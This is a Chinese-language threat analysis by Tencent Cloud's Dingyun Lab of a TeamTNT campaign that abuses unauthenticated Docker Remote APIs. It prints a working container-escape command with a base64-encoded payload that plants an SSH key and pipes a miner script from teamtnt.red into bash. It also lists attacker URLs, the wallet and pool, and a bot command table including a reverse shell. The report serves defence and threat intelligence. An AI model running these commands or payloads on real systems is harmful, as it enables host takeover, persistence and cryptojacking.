TeamTNT黑產攻擊方法揭秘
一、背景
騰訊安全云鼎實驗室持續監控云原生在野攻擊威脅態勢,繼DockerHub發現百萬下載量黑產鏡像(詳見文章 DockerHub再現百萬下載量黑產鏡像,小心你的容器被挖礦)之后,近期實驗室最新捕獲到TeamTNT黑客團隊新型在野容器攻擊活動,相比之前TeamTNT挖礦木馬,此次新型攻擊手法對原挖礦木馬進行了升級,并利用容器環境進行感染傳播。
通過對TeamTNT新型容器攻擊樣本詳細分析,我們發現挖礦病毒是通過掃描docker remote api未授權訪問漏洞進行傳播。相比之前TeamTNT黑客團隊出的挖礦木馬,此次對原挖礦木馬進行了升級,在進行感染時使用了新的策略。入侵后會先進行清理其他挖礦,并使用新的隱藏進程方法,入侵完畢后會清理痕跡,覆蓋系統日志以逃避排查,為增加挖礦木馬植入的成功率還有備用挖礦程序,增加木馬的穩定性,利用nohup命令不掛斷地運行挖礦,并且在使用LKM rootkit技術隱藏進程。
該樣本屬于最新版本TEAMTNT樣本,被云鼎實驗室哨兵系統(云上分布式蜜罐和沙箱)第一時間捕獲。本文將會使用ATT&CK矩陣溯源分析樣本在入侵、持久化、容器逃逸等完整攻擊路徑,為大家清晰還原黑客攻擊手法和全貌。
二、樣本產生時間與流行分析
樣本的開發時間大約在2021年09月14日編寫完畢,云鼎實驗室哨兵系統在9月14號第一時間捕獲,并進行了詳細的分析。
哨兵捕獲的網絡包:
樣本流行程度:
通過哨兵智能情報統計系統,樣本在剛剛爆發的2周內較為流行,隨后感染率持續下降。
三、樣本att&ck矩陣分析
TEAMTNT的新樣本通過docker remote API傳播,過程中使用了 特權容器,容器逃逸,LKM rootkit 等先進攻擊方式,下面是對于整個攻擊過程的ATT&CK矩陣。
下圖為攻擊流程,我們將整個過程分為五個部分講解:1、初始化訪問與對外掃描 2、執行3、權限提升-容器逃逸 4、攻擊持久化 5、防御繞過
3.1 攻擊向量-初始訪問與橫向掃描—Remote API 漏洞:
DockerRemote API :是一個取代遠程命令行界面(rcli)的REST API,默認綁定2375端口。Docker Remote API如配置不當可導致未授權訪問,攻擊者利用 docker client 或者 http 直接請求就可以訪問這個 API,可能導致敏感信息泄露,黑客也可以刪除Docker上的數據。攻擊者可進一步利用Docker自身特性,直接訪問宿主機上的敏感信息,或對敏感文件進行修改,最終完全控制服務器。
A、掃描獲取docker API版本
調用masscan 和 zgrab掃描目標IP,通過請求舊版本的命令,可以獲取到最新的docker API版本。
通常獲取1.16版本,會返回如下信息:
Handler for GET /v1.16/version returned error: client version 1.16 is too old. Minimum supported API version is 1.24, please upgrade your client to a newer version
相關代碼如下:
B、利用Remote API漏洞:
直接通過Remote API漏洞,遠程啟動傳播病毒的容器鏡像 alpineos/dockerapi,容器使用完成后會自動清除容器內部的文件系統。啟動alpine 容器進行容器逃逸。
通過騰訊云容器安全服務TCSS發現存在Remote API未授權訪問風險節點和詳細信息:
3.2 攻擊向量-執行:
在目標機器上的命令執行通過特權容器執行惡意指令,進行挖礦和病毒傳播。
A、惡意鏡像alpineos/dockerapi:
經查詢,alpineos帳號注冊時間為2021年5月26日,其中alpineos/dockerapi鏡像更新時間為截止目前已有一個月,大約有7600臺主機被感染。
通過騰訊云容器安全服務TCSS對該鏡像進行掃描,發現該鏡像存在木馬病毒,掃描結果如下圖:
鏡像啟動時會執行名為pause的腳本,pause腳本用于病毒的傳播。
B、鏡像Alpine
正規白鏡像,鏡像大小只有5M,方便下載,teamTNT使用這個鏡像進行容器逃逸。
3.3攻擊向量-權限提升----Docker逃逸:
TEAMTNT 使用的逃逸方法是特權模式+SSH
特權模式在6.0版本的時候被引入Docker,其核心作用是允許容器內的root擁有外部物理機的root權限,而此前在容器內的root用戶只有外部物理機普通用戶的權限。
使用特權模式啟動容器后(docker run --privileged),Docker容器被允許可以訪問主機上的所有設備、可以獲取大量設備文件的訪問權限。
TEAMTNT 病毒容器運行的逃逸命令如下:
docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine
chroot /host bash -c 'echo c3NoLWtleWdlbiAtTiAiIiAtZiAvdG1wL1RlYW1UTlQKCmNoYXR0ciAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGw7IHRudHJlY2h0IC1SIC1pYSAvcm9vdC8uc3NoLyAyPi9kZXYvbnVsbDsgaWNoZGFyZiAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGwKY2F0IC90bXAvVGVhbVROVC5wdWIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2F0IC90bXAvVGVhbVROVC5wdWIgPiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5czIKcm0gLWYgL3RtcC9UZWFtVE5ULnB1YgoKCnNzaCAtb1N0cmljdEhvc3RLZXlDaGVja2luZz1ubyAtb0JhdGNoTW9kZT15ZXMgLW9Db25uZWN0VGltZW91dD01IC1pIC90bXAvVGVhbVROVCByb290QDEyNy4wLjAuMSAiKGN1cmwgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHxjZDEgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHx3Z2V0IC1xIC1PLSBodHRwOi8vdGVhbXRudC5yZWQvc2gvc2V0dXAvbW9uZXJvb2NlYW5fbWluZXIuc2h8fHdkMSAtcSAtTy0gaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNoKXxiYXNoIgoKcm0gLWYgL3RtcC9UZWFtVE5UCgo= | base64 -d | bash'
第一步:創建特權容器
docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine
容器本身為干凈的alpine容器。
第二步:SSH容器逃逸
在root目錄下 拷貝ssh密鑰到宿主機,通過訪問127.0.0.1 從而進行容器逃逸。
上述代碼解密后如下:
逃逸后,可以在宿主機上下載moneroocean_miner.sh等腳本進行挖礦。
3.4攻擊向量-防御繞過----清理痕跡與進程隱藏:
在植入挖礦病毒后,會通過diamorphine.sh來隱藏進程,之后清理痕跡。
A、通過diamorphine.sh 隱藏進程:
從github.com/m0nad/Diamorphine下載安裝編譯Diamorphine,加載內核模塊dia.ko。
Diamorphine是一個LKM rootkit ,功能就是 進程隱藏、模塊隱藏,用戶root權限獲取,帶有Magic-prefix 開頭的文件和目錄隱藏。
這里重點介紹一下 進程隱藏部分。
Rootkit初始化部分會hook getdents、getdents64 和kill 三個函數,其中被hook的kill 函數用于接受命令,進行進程隱藏、root等動作。
Hacked_kill 定義了3個參數,31 用來隱藏進程,64用來獲取root,63用來隱藏自身模塊。
被hook的kill代碼如下:
通過 for_each_process遍歷進程列表找到目標進程,把進程標志設置為PF_INVISIBLE 從而達到隱藏進程的目標。
Find_task代碼如下:
通過kill命令的31信號隱藏挖礦進程(xmrig),并清理記錄
B、痕跡清理
清除命令歷史記錄:
通過刪除/bash_history 和 執行history -c 命令,清除命令歷史記錄。
清除wtmp,secure、cron 和mail 日志。
C、ld.so.preload清理模塊
ld.so.preload清理模塊使用了base64編碼,解密后可以看到以下功能。
檢查/etc/ld.so.preload預加載文件,刪除空的ld.so.preload文件,如果ld.so.preload有預加載程序,則對其進行清理。
為了能成功刪除,重新寫了文件刪除函數。文件刪除函數中使用了chattr和intrecht、ichdarf三個命令,這三個命令實為同一種功能,TeamTNT黑客團隊曾經在入侵時,重命名過系統命令。為能成功執行,系統命令和重命名過的命令一起執行,以提高成功率。
3.5攻擊向量—持久化—釋放遠控
TEAMTNT會下載Chimaera IRC 遠控木馬,木馬沒有加殼,功能較為豐富,這里不做過多介紹。
相關命令和描述如下圖所示:
整理后如下表所示:
Command Description (from the binary) NICK <nick> Changes the nick of the client SERVER <server> Changes servers GETSPOOFS Gets the current spoofing SPOOFS <subnet> Changes spoofing to a subnet DISABLE Disables all packeting from this client ENABLE Enables all packeting from this client GET <http address> <save as> Downloads a file off the web and saves it onto the hd UPDATE <http address> <src:bin> Update this bot HACKPKG <http address> <bin name> HackPkg is here! Install a bin, using http, no depends! VERSION Requests version of client HELP Displays this IRC <command> Sends this command to the server SH <command> Executes a command ISH <command> SH, interactive, sends to channel SHD <command> Executes a pseudo-daemonized command GETBB <tftp server> Get a proper busybox INSTALL <http server/file_name> Download & install a binary to /var/bin BASH <cmd> Execute commands using bash. BINUPDATE <http:server/package> Update a binary in /var/bin via wget SCAN <nmap options> Call the nmap wrapper script and scan with your opts. RSHELL <server> <port> Equates to nohup nc ip port -e /bin/sh LOCKUP <http:server> Kill telnet, d/l aes backdoor from <server>, run that instead. GETSSH <http:server/dropbearmulti> D/l, install, configure and start dropbear on port 30022 TOETEDENCLIENT Kill client UPDATE update |
四、挖礦部分分析
Moneroocean.sh腳本主要用來挖礦:
更改linux最大文件句柄數的限制,以提高穩定性。并配置防火墻,放行數據包。
清理動態預加載預加載ld.preload,木馬通常使用使用此技術來隱藏木馬文件,可以實現劫持,TeamTNT團隊的新挖礦程序,清理了此加載文件,更換隱藏技術,并且可以排除其他挖礦程序,以達到資源獨占。清理模塊使用了base64編碼,上文有進一步分析。
清理其他部分主流挖礦域名:
還原ps命令,并清理定時任務,有些挖礦木馬存在修改系統命令:
清理痕跡,清空系統日志,腳本最后有調用。
清理其他挖礦程序,簡單粗暴判定CPU占用65%以上的都為挖礦程序,并結束進程,以達到資源獨占的目的。
實現下載功能,實現類似wget curl功能,用于下載wget curl:
檢查系統中是否有curl,如果沒有則從自己服務器上下載curl程序:
下載錢包文件,并準備兩個挖礦安裝包,其中一個為備用安裝包:
中止原有的的挖礦程序,下載新版挖礦木馬后重命名,并解壓后刪除安裝包
檢測挖礦程序是否正常工作,如果被破壞則下載備用挖礦程序,解壓后刪除安裝包
設置挖礦密碼,把用戶錢包,密碼,礦池地址寫入配置文件,并重命名為“config_background.json”。
創建miner.sh腳本,把腳本寫入.profile,以便在登陸時在后臺運行。
修改大頁內存hugepages值,以提高挖礦效率。
創建挖礦服務,服務名為“SystemRaid.service”。
增加挖礦木馬的健壯性,將挖礦程序在后臺運行。
清理痕跡并通過執行diamorphine.sh來隱藏進程。
挖礦信息總結:
礦池:dl.chimaera.cc:21582
錢包:89sp1qMoognSAbJTprreTXXUv9RG1AJBRjZ3CFg4rn6afQ5hRuqxiWRivYNqZbnYKKdsH5pCiTffrZToSyzXRfMvSHx5Guq
首選挖礦程序:http://teamtnt.red/sh/bin/xmrig/x86_64/mo.tar.gz
備用挖礦程序:https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-static-x64.tar.gz
URL:http://teamtnt.red/sh/setup/moneroocean_miner.sh; http://teamtnt.red/sh/setup/diamorphine.sh
五、如何防御
騰訊安全持續在容器安全上進行投入和相關研究,構建了完整的容器安全防護和服務保障體系,針對容器環境下的安全問題,騰訊云容器安全服務通過資產管理、鏡像安全、運行時安全、安全基線四大核心能力來保障容器的全生命周期安全,為企業提供鏡像掃描、運行時安全檢測(容器逃逸、反彈shell、文件查殺)、高級防御(異常進程攔截、文件篡改保護、高危系統調用監控)、安全基線檢測、資產管理一站式容器安全防護。容器安全服務已集成騰訊云鼎實驗室最新容器安全情報,可第一時間檢測黑產容器鏡像,并針對新型在野攻擊進行有效防御,企業可通過容器安全服務及時發現容器安全風險并快速構建容器安全防護體系。
點擊下方“閱讀原文”了解 容器安全服務
END
更多精彩內容點擊下方掃碼關注哦~
云鼎實驗室視頻號
一分鐘走進趣味科技
-掃碼關注我們-
關注云鼎實驗室,獲取更多安全情報